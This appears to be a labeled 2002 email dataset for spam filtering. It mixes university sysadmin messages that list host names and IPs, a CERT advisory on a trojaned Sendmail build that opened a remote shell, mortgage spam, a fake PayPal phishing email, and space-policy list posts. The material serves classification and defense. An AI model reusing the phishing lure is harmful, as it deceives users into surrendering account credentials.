127.0.0.1, beta.richmond.edu, pscm1.richmond.edu, mfv2.richmond.edu, gpg2.richmond.edu, 141.166.237.99, physxcd.richmond.edu, 141.166.233.70, 141.166.226.90, grv1.richmond.edu, grv2.richmond.edu, gpg1.richmond.edu, mfv1.richmond.edu, psc1.richmond.edu, 141.166.222.217 sshd: *.cs.unc.edu, rdu26-45-042.nc.rr.com, jlabs1.jlabs.org, *.jlab.org, 129.57. # Sasko's laptop sshd: 141.166.182.90 /etc/hosts.deny Same as /etc/hosts.deny on physxcd 2. Enable NTP daemons on physxcd, gpg1, and pscm1 so they can synchronize their time with richmond.edu time servers. 3. Users inconsistency: a. There are users's directories on physxcd:/home i.e. gpg1:/home for users that do not exist in the password database. Please verify the validity of these directories (users): ahearin, aweaver, ecollins, jmcclell, jrobbins, mfetea b. User aiqbal exist on gpg1, but not on physxcd. Is it the why that should be? c. User vineyard has different uid on physxcd and gpg1. This could affect access permissions. 4. Machine gpg1 have disabled ssh to root account. But this is not the case with physxcd. Was it left on purpose? 5. This are the updates that need to be applied. There are mostly security patches that is recommended to be applied. physxcd: bind-utils-9.2.1-1.7x.2.i386.rpm libpng-devel-1.0.14-0.7x.3.i386.rpm cpp-2.96-112.i386.rpm libstdc++-2.96-112.i386.rpm ethereal-0.9.6-0.73.0.i386.rpm libstdc++-devel-2.96-112.i386.rpm ethereal-gnome-0.9.6-0.73.0.i386.rpm losetup-2.11n-12.7.3.i386.rpm gaim-0.59.1-0.7.3.i386.rpm mm-1.1.3-8.i386.rpm gcc-2.96-112.i386.rpm mm-devel-1.1.3-8.i386.rpm gcc-c++-2.96-112.i386.rpm mount-2.11n-12.7.3.i386.rpm gcc-g77-2.96-112.i386.rpm nscd-2.2.5-39.i386.rpm gcc-objc-2.96-112.i386.rpm nscd-2.2.5-40.i386.rpm gdb-5.2-2.i386.rpm nss_ldap-189-4.i386.rpm glibc-2.2.5-39.i386.rpm openssh-3.1p1-6.i386.rpm glibc-2.2.5-40.i386.rpm openssh-askpass-3.1p1-6.i386.rpm glibc-common-2.2.5-39.i386.rpm openssh-askpass-gnome-3.1p1-6.i386.rpm glibc-common-2.2.5-40.i386.rpm openssh-clients-3.1p1-6.i386.rpm glibc-devel-2.2.5-39.i386.rpm openssh-server-3.1p1-6.i386.rpm glibc-devel-2.2.5-40.i386.rpm openssl095a-0.9.5a-18.i386.rpm glibc-kernheaders-2.4-7.16.i386.rpm openssl096-0.9.6-13.i386.rpm kernel-2.4.18-10.i386.rpm openssl-0.9.6b-28.i386.rpm kernel-2.4.18-10.i586.rpm openssl-devel-0.9.6b-28.i386.rpm kernel-doc-2.4.18-10.i386.rpm psmisc-20.2-3.73.i386.rpm kernel-source-2.4.18-10.i386.rpm scrollkeeper-0.3.4-5.i386.rpm krb5-devel-1.2.4-2.i386.rpm tar-1.13.25-4.7.1.i386.rpm krb5-libs-1.2.4-2.i386.rpm ucd-snmp-4.2.5-7.73.0.i386.rpm libpng-1.0.14-0.7x.3.i386.rpm util-linux-2.11n-12.7.3.i386.rpm gpg1 (additionally to the above list): openssl-perl-0.9.6b-28.i386.rpm ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 08 Oct 2002 17:53:58 -0400",CERT Advisory CA-2002-28 Trojan Horse Sendmail Distribution,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-28 Trojan Horse Sendmail Distribution Original release date: October 08, 2002 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Overview The CERT/CC has received confirmation that some copies of the source code for the Sendmail package were modified by an intruder to contain a Trojan horse. Sites that employ, redistribute, or mirror the Sendmail package should immediately verify the integrity of their distribution. I. Description The CERT/CC has received confirmation that some copies of the source code for the Sendmail package have been modified by an intruder to contain a Trojan horse. The following files were modified to include the malicious code: sendmail.8.12.6.tar.Z sendmail.8.12.6.tar.gz These files began to appear in downloads from the FTP server ftp.sendmail.org on or around September 28, 2002. The Sendmail development team disabled the compromised FTP server on October 6, 2002 at approximately 22:15 PDT. It does not appear that copies downloaded via HTTP contained the Trojan horse; however, the CERT/CC encourages users who may have downloaded the source code via HTTP during this time period to take the steps outlined in the Solution section as a precautionary measure. The Trojan horse versions of Sendmail contain malicious code that is run during the process of building the software. This code forks a process that connects to a fixed remote server on 6667/tcp. This forked process allows the intruder to open a shell running in the context of the user who built the Sendmail software. There is no evidence that the process is persistent after a reboot of the compromised system. However, a subsequent build of the Trojan horse Sendmail package will re-establish the backdoor process. II. Impact An intruder operating from the remote address specified in the malicious code can gain unauthorized remote access to any host that compiled a version of Sendmail from this Trojan horse version of the source code. The level of access would be that of the user who compiled the source code. It is important to understand that the compromise is to the system that is used to build the Sendmail software and not to the systems that run the Sendmail daemon. Because the compromised system creates a tunnel to the intruder-controlled system, the intruder may have a path through network access controls. III. Solution Obtain an authentic version Sendmail The primary distribution site for Sendmail is http://www.sendmail.org/ Sites that mirror the Sendmail source code are encouraged to verify the integrity of their sources. Verify software authenticity We strongly encourage sites that recently downloaded a copy of the Sendmail distribution to verify the authenticity of their distribution, regardless of where it was obtained. Furthermore, we encourage users to inspect any and all software that may have been downloaded from the compromised site. Note that it is not sufficient to rely on the timestamps or sizes of the file when trying to determine whether or not you have a copy of the Trojan horse version. Verify PGP signatures The Sendmail source distribution is cryptographically signed with the following PGP key: pub 1024R/678C0A03 2001-12-18 Sendmail Signing Key/2002 Key fingerprint = 7B 02 F4 AA FC C0 22 DA 47 3E 2A 9A 9B 35 22 45 The Trojan horse copy did not include an updated PGP signature, so attempts to verify its integrity would have failed. The sendmail.org staff has verified that the Trojan horse copies did indeed fail PGP signature checks. Verify MD5 checksums In the absence of PGP, you can use the following MD5 checksums to verify the integrity of your Sendmail source code distribution: Correct versions: 73e18ea78b2386b774963c8472cbd309 sendmail.8.12.6.tar.gz cebe3fa43731b315908f44889d9d2137 sendmail.8.12.6.tar.Z 8b9c78122044f4e4744fc447eeafef34 sendmail.8.12.6.tar.sig As a matter of good security practice, the CERT/CC encourages users to verify, whenever possible, the integrity of downloaded software. For more information, see http://www.cert.org/incident_notes/IN-2001-06.html Employ egress filtering Egress filtering manages the flow of traffic as it leaves a network under your administrative control. In the case of the Trojan horse Sendmail distribution, employing egress filtering can help prevent systems on your network from connecting to the remote intruder-controlled system. Blocking outbound TCP connections to port 6667 from your network reduces the risk of internal compromised machines communicating with the remote system. Build software as an unprivileged user Sites are encouraged to build software from source code as an unprivileged, non-root user on the system. This can lessen the immediate impact of Trojan horse software. Compiling software that contains Trojan horses as the root user results in a compromise that is much more difficult to reliably recover from than if the Trojan horse is executed as a normal, unprivileged user on the system. Recovering from a system compromise If you believe a system under your administrative control has been compromised, please follow the steps outlined in Steps for Recovering from a UNIX or NT System Compromise Reporting The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: ""[CERT#33376]"". Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. _________________________________________________________________ The CERT Coordination Center thanks the staff at the Sendmail Consortium for bringing this issue to our attention. _________________________________________________________________ Feedback can be directed to the authors: Chad Dougherty, Marty Lindner. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-28.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History October 08, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPaNCtmjtSoHZUTs5AQHXrgQA2CkSFrIQxV9dLy07J0ezZgT2RrfCDpXY lPO0HhPe4kcbw4AMXs5LAjhA7DoW32PjAytRWOCNMu1FFDbl3eohf7OP2ZjtgYnD kwpfjPKVejJDD1BX2O/+jb1rlUKOm2tIt7NK+w8HKOKUYZal/x3RI3AxnAAGLv8A /DNWpyNYsGg= =fL1h -----END PGP SIGNATURE-----",0,1 Gregory ,ggilfoyl@facstaff.richmond.edu,"Wed, 09 Oct 2002 12:52:30 +0500",Your bill Consolidation Account,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://ftm0rt.com Don't worry about approval, your credit will not disqualify you! Sincerely, Gregory Approval Manager ",1,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" , ""Luminita Todor (E-mail)"" , ""Vineyard, Michael"" ","Wed, 09 Oct 2002 15:38:38 -0400",Kernel update on gpg1 and physxcd,"I plan to upgrade the kernel to version 2.4.18-10 on gpg1 and physxcd tomorrow (10/10/02) at 11am. The old kernel 2.4.18-4 will be kept for any case. The downtime should be minimal (just to reboot the new kernel). Please plan accordingly. If you think that this should not be done tomorrow, please let me know. Sasko ",0,0 Magpie ,magpie1@frontiernet.net,"Mon, 23 Sep 2002 07:15:02 -0400",Butterfly Webliography Maggie Greene,"Butterfly Webliography Maggie Greene I am searching for information on butterflies. I am also targeting sites for students in the first grade. Student Sites 1. Kidzone Fun Facts http://www.kidzone.ws/animals/monarch_butterfly.htm This is a very good website for younger students, probably in elementary. In this website, the author is a family. The father has been putting together websites for a while and can be contacted if needed. This site is associated with Kidzone. It is a very educational site. It lets people learn about many different things about butterflies. For example it talks about how a caterpillar turns into a butterfly. The content in this site is very appropriate for students wanting to learn. The site even includes jigsaw puzzles kids can put together. The dates for when the site was last updated are included and are current. The site is easy to search through and is not cluttered. 2.Yukon Butterflies http://www.yesnet.yk.ca/schools/jackhulland/projects/butterflies/ This website is very good for students. This site even includes a butterfly web cam where anyone can watch a butterfly go threw metamorphosis. I think this site could be very beneficial to the education of a child. The site was last updated May 16, 2002. Jack Hulland Elementary created the site. They can be contacted. This site includes games, activities, and talks about the life cycle of a butterfly. The site includes pictures and is easily accessible. A quick movie about butterflies can also be watched. This page is associated with the school. 3. Metamorphosis http://www.bijlmakers.com/entomology/metamorphosis.htm This site is excellent for kids just beginning to learn about the process of metamorphosis. It tells this process in a very simple and basic form. It even has a little picture show that shows a caterpillar turning into a butterfly. The site was last updated October 20, 1999. The author is Hein Bijlmakers and can be contacted. This page is located on his home page. He even has the site in Dutch. 4. The Butterfly and Moth Life Cycle http://www.mesc.usgs.gov/resources/education/butterfly/life-cycle/butterfly-life-cycle.asp This is an excellent site for younger students. It gives a basic and simple explanation of how a butterfly goes from an egg to a butterfly. It does a great job of describing it in terms anyone can understand. It includes great pictures of all stages of the growth of the butterfly. It also includes coloring pages for kids. This site is very easy to access and is very educational. This site was last modified July 18, 2002. The web coordinator is Lance Everette. This site can be contacted. This site is in association with the Midcontinent Ecological Science Center. 5. Butterfly and Moth Life Cycle http://www.fmnh.org/butterfly/life_basic.htm This website describes the four stages of a butterfly. It includes great pictures of the four stages. This is a great website for kids learning how a butterfly grows. Also in the website it describes how they feed and migrate. This page is in association with The Field Museum and can be contacted it needed. This site was copyrighted in 2002. The site is very accessible and would be very instrumental in learning. Teacher Sites 1. Butterflies of North America http://www.npwrc.usgs.gov/resource/distr/lepid/bflyusa/ga/692.htm This website is excellent for teachers. It is coordinated and edited by Paul A. Opler, Ray E. Stanford, and Harry Pavulaan. Also everyone else who helped with the site is listed and contact information is available. The website is associated with Northern Prairie Wildlife Research Center. A teacher could find most anything he or she would like to on almost any butterfly in every part of North America. Teachers can find very useful information for their students on this site. The site layout and navigation is very good. It even includes a map of North America where people can click on any state and find out about the butterflies in that region. 2. Buginfo http://www.si.edu/resource/faq/nmnh/buginfo/butterfly.htm This website is associated with the Smithsonian. I think this site would be better for teachers. The information about butterflies was accessed with out any problems. The page was prepared by The Department of Systematic Biology and can be contacted. The site talks about distinctive characteristics, number of species, wing color, and a whole lot more. The layout includes pictures. The background is a light yellow color. The date of the page is from 1999. 3. Butterflies http://www.earthfoot.org/backyard/buttrfly.html This site includes a lot of important information about butterflies and their life. It goes into great descriptions of their habitat and environment and how they live and survive. It also includes a lot of scientific names of butterflies. I think this would be a great site for teachers. It is associated with EarthFoot. It has great pictures of butterflies. I really like the layout of this site because the home page is so cute and very simple to access. Jim Conrad produced this site. 4. Monarch Butterfly http://www.insecta-inspecta.com/butterflies/monarch/index.html This is a great site for information on the monarch butterfly. It describes the life cycle, migration, and environment of these butterflies. It also includes a map showing the migration of these butterflies. This is a great site for a teacher wanting to teach on this kind of butterfly. It shows great descriptive pictures that go along with the information. This page is associated with Insecta-Inspecta World. They can be contacted by email. It was last revised May 9,2002. Martha Diaz is the author of the page. 5. Butterflies FAQ http://members.aol.com/YESbutrfly/bflyFAQ.html This site has answered many questions about butterflies. It does a great job of telling where butterflies live, look like, grow, and more. This would be a great site for a teacher who is teaching the basics about a butterfly. This site was prepared by the Young Entomologist Society and can be contacted by phone or email. This site was copyrighted in 1998. This website is part of the educational outreach programs of the Young Entomologist Society. ",0,1 Livana Hartford ,starship-design-outgoing@darkwing.uoregon.edu,"Wed, 09 Oct 2002 17:19:11 -0500",Hottest Diet in America,"may donner see muddlehead a doberman on maggie it's amplitude ",1,0 gilfoyle ,pyro@linuxlabs.com,"Wed, 09 Oct 2002 23:53:50 -0700",problem with University of Richmond cluster,"Hi Steven, I am one of the physicists from the University of Richmond (along with Mike Vineyard) that is using the cluster you delivered to us earlier this year. We have recently run into a problem which is limiting our ability to make full use of the cluster. The problem is the following. Until a couple of days ago we have never tried to run multiple jobs on each slave node in the entire cluster. On Tuesday, for the first time, I submitted 148 jobs evenly distributed among the 48 slave nodes. After about 4-5 hours no more jobs were running, but I noticed that only about 1/3 of the submitted jobs produced any usable output. Today, I was running another large set of jobs and found I could no longer run any new processes even from the command line of a shell. For example, I would type in 'ls' and get back 'no more processes'. It appears there is an upper limit on the number of processes that can be run on the master. Once you exceed that limit it looks like any new attempts to start a process are essentially ignored. In submitting the full set of 148 jobs many were not run because they would have exceeded this upper limit on the allowed number of processes. Right now I can run no more than about 40 jobs on the cluster without encountering this problem. This is fewer than one job per slave node. Each job I submit starts three separate processes so I am starting 120 processes. In searching the web, there are discussions of this limitation and a solution (which involves building a new kernel). The urls are below. I have also attached the scripts I am using to do the data analysis (one shell script and one perl script). Any help you can provide would be greatly appreciated. Thanks-in-advance, Jerry Gilfoyle http://www.ltsp.org/documentation/lts_ig_v2.4/lts_ig_v2.4-14.html http://www.geocrawler.com/archives/3/61/1998/10/0/2207294/ -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,1 Paypal ,,"Thu, 10 Oct 2002 07:15:54 +0300",Update Paypal Account,"X-facstaff.richmond.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - paypal.com X-Source: X-Source-Args: X-Source-Dir:                                                                                   > Dear Paypal Customer,     >It has come to our attention that your account is being used by unauthorized persons.   >It is our duty to guarantee your online security, therefore you need to authenticate your account information.   >If you are the rightful holder of the account we strongly recommend to logon and authenticate over a secure connection by clicking on the link below:     > To continue please click here.   EQUAL HOUSING LENDER                              Member FDIC                     s     *Note: If you do not have an Account at Paypal we kindly suggest that you take some time and visit the services that Paypal can provide for you:  www.paypal.com If you feel offended by any means of our e-mail we apologize for the inconvenience and kindly ask you to delete this message. ©2006 Paypal",1,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 11 Oct 2002 13:58:12 -0400",Beowulf cluster,"I succeded to bring up all nodes except node 7. Sasko ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 11 Oct 2002 16:40:38 -0400",RE: Beowulf cluster,"I power off some of the nodes that were not responding. I was using the switch on the machine. It has a 4 seconds delay before actual power cut-off. And I was bringing machines slowly. Sometimes when multiple nodes were coming up, they will just hang. And that command bpctl -S -s up does not work when they are rebooting. I was watching the log for the machines we did that yesterday, and all of them did not finish booting up. BProc was broken on all of them. Conclusion: More patience is needed with this beast. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Friday, October 11, 2002 4:05 PM To: Stefanovski, Sasko Subject: Re: Beowulf cluster GREAT!! how did you do it? ""Stefanovski, Sasko"" wrote: > > I succeded to bring up all nodes except node 7. > > Sasko -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,0 """L. Parker"" ","""Starship-Design List (E-mail)"" ","Sat, 12 Oct 2002 09:27:31 -0500","starship-design: Lawmen, Taxmen and Bureaucrats"," OPINION SPACE Lawmen, Taxmen and Bureaucrats The Spacefaring Web 2.17 by John Carter McKnight Scottsdale - Sep 11, 2002 Technocratic infatuation with the state-directed master plan helped smother the first Space Age. Today, the nascent second Space Age faces challenges not just from NASA's continued addiction to central planning and control, but from groups of well-meaning reformers within the space community. Like their governmental counterparts, they want space development, but without uncertainty, disorder and upheaval. Without bold gambling and creative chaos there is no frontier, and the greatest value of expanding into space is lost. Technocracy was the primary ideology of the Industrial Age. In East and West alike, it was widely believed that economic and social activity was so complex as to require a master plan for coordination. Everything, from steel production to medical care, required a governmental system of rules and regulations in order to be licensed to occur. Space, as an outgrowth of the military and of heavy industry, the two most managed activities, was deeply imbued with the technocratic ethos. In its day, the Plan was effective enough, transforming a Soviet Union of peasants briefly into a superpower and enabling the United States - briefly - to put men on the Moon. What it achieved in single-pointed efforts it lost in failures of coordination and sustainability. It proved increasingly ineffective as advances in communications technology rendered the ""manager"" a redundant intermediary. NASA failed to evolve when its political and cultural environment changed after Apollo 11. Its ongoing adherence to grandiose mega-engineering plans, cost-plus contracting and reckless accounting has smacked of the voodoo ritual, an attempt to reanimate the corpse of technocracy's glory days. Using the very methods that industries and governments worldwide were beginning to abandon, NASA failed to produce a viable product with the Space Shuttle, which has never come anywhere near delivering the outcomes touted for it. Fresh from that failure, the agency re-enacted the same rituals and got the same results - with much greater delay and expense - for the International Space Station. Next week at the World Space Congress, NASA will release its ""NexT"" master plan for government-only space construction efforts. Any bets on the outcome of that? Along with the all-encompassing, over-promising central plan, NASA has repeatedly tried to limit access to space. It attempted to force a satellite launch monopoly with the Shuttle, but the Challenger disaster allowed Arianespace to stage a market coup and drove the US Air Force to fund a new generation of expendable launch vehicles to ensure its own access. NASA later strongarmed the Russians into abandoning Mir as the price for access to the ISS (which has proved illusory), and was hostile to the point of hysteria over the first paying space travelers. This urge to control is, unfortunately, the technocratic reflex. For the planner, the greatest fear is chaos, the greatest need, control. The critical economic role, the planner feels, is performed not by the producer, nor by the consumer, but by their intermediary and master, the planner. It is simply unimaginable that beneficial outcomes could occur otherwise: the hand of undirected market forces is not just invisible, it is inconceivable. Where the entrepreneur sees a vibrant marketplace, the planner sees a terrifying chaos. The land beyond the plan is a place clearly marked ""here there be dragons."" Others call that place the frontier. It may be the metaphorical frontier of a new market yet un-dominated by sclerotic companies whose days of real innovation are generations past. Or it could be the geographic frontier, the land beyond the reach of the lawman, the taxman and the bureaucrat. People of many political persuasions speak glowingly of the value of a frontier. When they do, often they are envisioning an idealized American West, one of taciturn cowboys and sturdy pioneer farmers. The more real West, of vigilante justice, self-governing mining camps, legalized prostitution and brutal strike-breaking - that West is a different matter. Conservatives, with a romantic attachment to the past, denounce those images as the focus of cynics and dissidents. The technocrat, however, believes that we can have our frontier cake and eat it too - that we can get ""reasonable"" - watch out for that word - economic expansion without boomtowns, without robber barons, without bloodshed over working conditions and property rights - if we just start with the right plan. Yet both economic growth and those sturdy pioneers are the fruits of chaos - or, to use a synonym, freedom. The frontier is attractive because it offers the chance to make a metaphorical (and sometimes literal) killing. Those who value safety and certainty live in their parents' hometown and keep their money in banks. Real growth is the product of risk, of gambling life and capital on the prospect of ""unreasonable,"" ""unfair,"" ""piratical"" gain, versus complete loss. If the full safety net - or noose - of lawmen, taxmen and bureaucrats is present, there is no risk, and no concomitant return. The frontier offers more than spectacular economic growth. Only there is any real social or political innovation, rather than incremental tinkering, possible. Democracy did not evolve gradually out of Europe's absolute monarchies, nor was it provided for in the colonizing nations' master plans. It was tried and tested on the frontier. What worked and endured was imported back to the Old World. What failed was discarded, sometimes violently. Similarly, technological frontiers - birth control and cheap telecommunications, for example - forced changes to law and custom that were driven by experiment and experience rather than design. A spacefaring civilization will not be the fruit of NASA Five-Year Plans, nor of incremental progress by Big Aerospace. It will be the product of an open frontier or it will come not at all. The American frontier was not settled by the government, with cowboys and farmers trotting behind an army of county clerks and safety inspectors. Restless explorers, military scouts, resource speculators, malcontents who couldn't abide the strictures of ossifying Eastern cities - they were first to the West. Hobbyists, hackers and pornographers pioneered the Internet long before AOL made it family-friendly. That means that our future in space will not be built by people that the planner, the guaranteed-return investor and the moral traditionalist will easily approve of. It will be built by dropouts, crooks, pirates, gamblers and misfits, same as any other frontier. And it will be built only in the absence of laws, regulations and government plans made here on Earth. Their presence, so reassuring to the cost-plus contractor and prissy schoolmarm, is anathema to innovators in business, politics and culture. It is widely argued, and correctly so, that uncertainty in property rights and an absence of means of settling disputes undermine economic development. This argument is put forward by many of the space advocates who back one plan or another for shipping lawmen, taxmen and bureaucrats out into the black. The argument is true, but misinterpreted. In settled societies, property rights and a fair, speedy and final means of adjudicating disputes are critical to continued growth. In settled societies. Establishing such systems prior to the natural end of the frontier period short-circuits the whole process. Technocratic approaches - permits, licenses, land grants and the like - pick winners and losers by fiat. Contracts and privileges are awarded rather than earned. They go not to the invisible, incomprehensible entrepreneur, but to the established risk-averse government contractor, the one reassuringly incapable of upsetting the status quo. Competition is for favor in the ministry or legislature, rather than for mindshare or market share. Technocracy is simply modern colonialism, the exploitation of the new for the benefit of the old established elites. Frontiers build infrastructure for the benefit of the locals who take the risks. The Spanish gold rush impoverished Central America to enable lavish expenditures by courtiers; the California gold rush built San Francisco into a world-class city and turned the inspiration of one merchant drawn to the frontier, Levi Straus, into the most popular consumer item in the world. It also gave rise to seediness, decadence and violence, the price of freedom. No free lunch, as Heinlein said. Which is why the well-meaning codes written by some space advocates are as much of a threat to the opening of a space frontier as are NASA's efforts at bureaucratic strangulation. The space advocacy community has its share of technocrats, of course. Many are veterans of NASA or of government contractors, deeply imprinted with the ideology of managerial control. Some just fear the chaos of social and economic dynamism, feeling the same trepidation at the prospect of a space frontier that protestors feel for globalization or genetically modified foodstuffs. Some just wish things could be a little neater, a little more genteel. Some are genuinely looking to establish favorable conditions for investment and political viability but overreach in their concessions. With respect to all these space planning initiatives, we should ask: does this plan encourage real economic growth and cultural change, or is it an attempt to extend the status quo a few miles farther past the atmosphere? We have plenty of status quo here on Earth - it hardly seems necessary to go to great expense to vacuum-pack it. Space governance? Cops and regulators first, then ""reasonable"" prospectors. No frontier. Land grants? The already-wealthy will force up prices in a speculative market, driving out the entrepreneur and ensuring the continued dominance of current financial or political powers. Codes of ethics? New industries are built by ruthless, megalomaniac robber barons. The meek will inherit the Earth, once the pirates get us into space. Grand plans? Single-point efforts lacking a broad-based infrastructure - pyramids rather than cities. NASA is building enough of those, thank you. Technological frontiers come once a generation at best, and are limited in their scope. Social frontiers, places beyond the reach of lawmen, taxmen and bureaucrats, unmapped territories filled with dragons for the timid, can be found these days only in story. Rather than asteroidal ore or Lunar ice, those spaces, and the hope they offer for vibrant growth and beneficial, if messy, change, are the most precious space resource. Their development is the standard by which space planning should be judged. The Spacefaring Web is a biweekly column © 2002 by John Carter McKnight, an Advocate of the Space Frontier Foundation. Views expressed herein are strictly the author's and do not necessarily represent Foundation policy. Archives are available. ",0,0 KellySt@aol.com,"lparker@cacaphony.net, starship-design@lists.uoregon.edu","Sat, 12 Oct 2002 12:59:05 -0400","Re: starship-design: Lawmen, Taxmen and Bureaucrats","In a message dated 10/12/02 10:30:39 AM, lparker@cacaphony.net writes: >OPINION SPACE > > > >Lawmen, Taxmen and Bureaucrats > >The Spacefaring Web 2.17 > > > > > >by John Carter McKnight > >Scottsdale - Sep 11, 2002 > > > >Technocratic infatuation with the state-directed master plan helped smother > >the first Space Age. Today, the nascent second Space Age faces challenges > >not just from NASA's continued addiction to central planning and control, > >but from groups of well-meaning reformers within the space community. Like > >their governmental counterparts, they want space development, but without > >uncertainty, disorder and upheaval. Without bold gambling and creative >chaos > >there is no frontier, and the greatest value of expanding into space is > >lost. > > > >Technocracy was the primary ideology of the Industrial Age. In East and >West > >alike, it was widely believed that economic and social activity was so > >complex as to require a master plan for coordination. Everything, from >steel > >production to medical care, required a governmental system of rules and > >regulations in order to be licensed to occur. Space, as an outgrowth of >the > >military and of heavy industry, the two most managed activities, was deeply > >imbued with the technocratic ethos. > > > >In its day, the Plan was effective enough, transforming a Soviet Union >of > >peasants briefly into a superpower and enabling the United States - > >briefly - to put men on the Moon. What it achieved in single-pointed efforts > >it lost in failures of coordination and sustainability. It proved > >increasingly ineffective as advances in communications technology rendered > >the ""manager"" a redundant intermediary. > > > >NASA failed to evolve when its political and cultural environment changed > >after Apollo 11. Its ongoing adherence to grandiose mega-engineering plans, > >cost-plus contracting and reckless accounting has smacked of the voodoo > >ritual, an attempt to reanimate the corpse of technocracy's glory days. Agree with a lot of thios but he missed a big point. NASA and the other programs didn't fail to evolve. They were designed as one shot ""money is no object"" race programs. Expecting them to evolve into a program fostering commercial development, or opening th final frounteer, is like rexpecting a Indy racer to evolve into family sedan. NASA responds to congress, and comerce isn't their busness. Further, it would so overshadow them, as to doom them back to a technolygy reseach agency. So they don't really want to support it. >Using the very methods that industries and governments worldwide were > >beginning to abandon, NASA failed to produce a viable product with the >Space > >Shuttle, which has never come anywhere near delivering the outcomes touted > >for it. On the contrary, it did what was demanded of it. Its manufacture costs were shuffled out to all the right districts. It looks pretty impressive. Good political PR. Keeps a huge NASA staff employed in the right congressional districts. etc. I was in the shutle and statin programs, and they ae not driven by what you think. Stations design was optimized to utilize shuttle a lot to make it look good, and designed to involve a lot of internatinals. The cost was stageringly increased costs for us, greatly extended developoment times, and greatly reduced capacity and size. But those were not big issues. NASA is about providing political specticals, not commerce - science - or economic growth. ======== > > >Along with the all-encompassing, over-promising central plan, NASA has > >repeatedly tried to limit access to space. It attempted to force a satellite > >launch monopoly with the Shuttle, but the Challenger disaster allowed > >Arianespace to stage a market coup and drove the US Air Force to fund a >new > >generation of expendable launch vehicles to ensure its own access. True. A major commercial, or competeing government, launch program would cost them turf. NASA is about providing political specticals, they can't do that if they ae just one of many in space doing the same kinds of things; and they don't want to take the chance of doing something new and risky on the frouteers of space or technology. ==== >This urge to control is, unfortunately, the technocratic reflex. For the > >planner, the greatest fear is chaos, the greatest need, control. The > >critical economic role, the planner feels, is performed not by the producer, > >nor by the consumer, but by their intermediary and master, the planner. Or the politicians. ;) Gov agencies respond to voter interests, and responce. Specticals wor -- as long as they can keep control. More then that, they ae far more woried about bad press from someone doing the wrong thing, or worse saying the wrong thing, then they are at limiting themself. >It is simply unimaginable that beneficial outcomes could occur otherwise: > >the hand of undirected market forces is not just invisible, it is > >inconceivable. Where the entrepreneur sees a vibrant marketplace, the > >planner sees a terrifying chaos. The land beyond the plan is a place clearly > >marked ""here there be dragons."" This however is often the view of politicians - who love such planing, or the public - who fears the chaos as well. Prefers safty. ============ > >A spacefaring civilization will not be the fruit of NASA Five-Year Plans, > >nor of incremental progress by Big Aerospace. It will be the product of >an > >open frontier or it will come not at all. > > > >The American frontier was not settled by the government, with cowboys and > >farmers trotting behind an army of county clerks and safety inspectors. > >Restless explorers, military scouts, resource speculators, malcontents >who > >couldn't abide the strictures of ossifying Eastern cities - they were first > >to the West. Hobbyists, hackers and pornographers pioneered the Internet > >long before AOL made it family-friendly. > > > >That means that our future in space will not be built by people that the > >planner, the guaranteed-return investor and the moral traditionalist will > >easily approve of. It will be built by dropouts, crooks, pirates, gamblers > >and misfits, same as any other frontier. And it will be built only in the > >absence of laws, regulations and government plans made here on Earth. Their > >presence, so reassuring to the cost-plus contractor and prissy schoolmarm, > >is anathema to innovators in business, politics and culture. Of course it was the military that developed and built the internet. Banks and industry that made the conputers and telecomunication gear. No hackers using equipment they built themselves opened the digital frounteer. They were just like the ""pioneers"" who settled the west after the towns weer built, regular railroad service established, and tons of dime novels and woild west shows popularized the ""wind west"". The real follks opening space won't be mountain men in furs, or pioneers in conastoga wagons. No lone prospectors with a mule and a pan. It'll have to be mega corps that can put up the money for the fleets and the platforms in space. And they will demand and enforce you major laws. ========== > 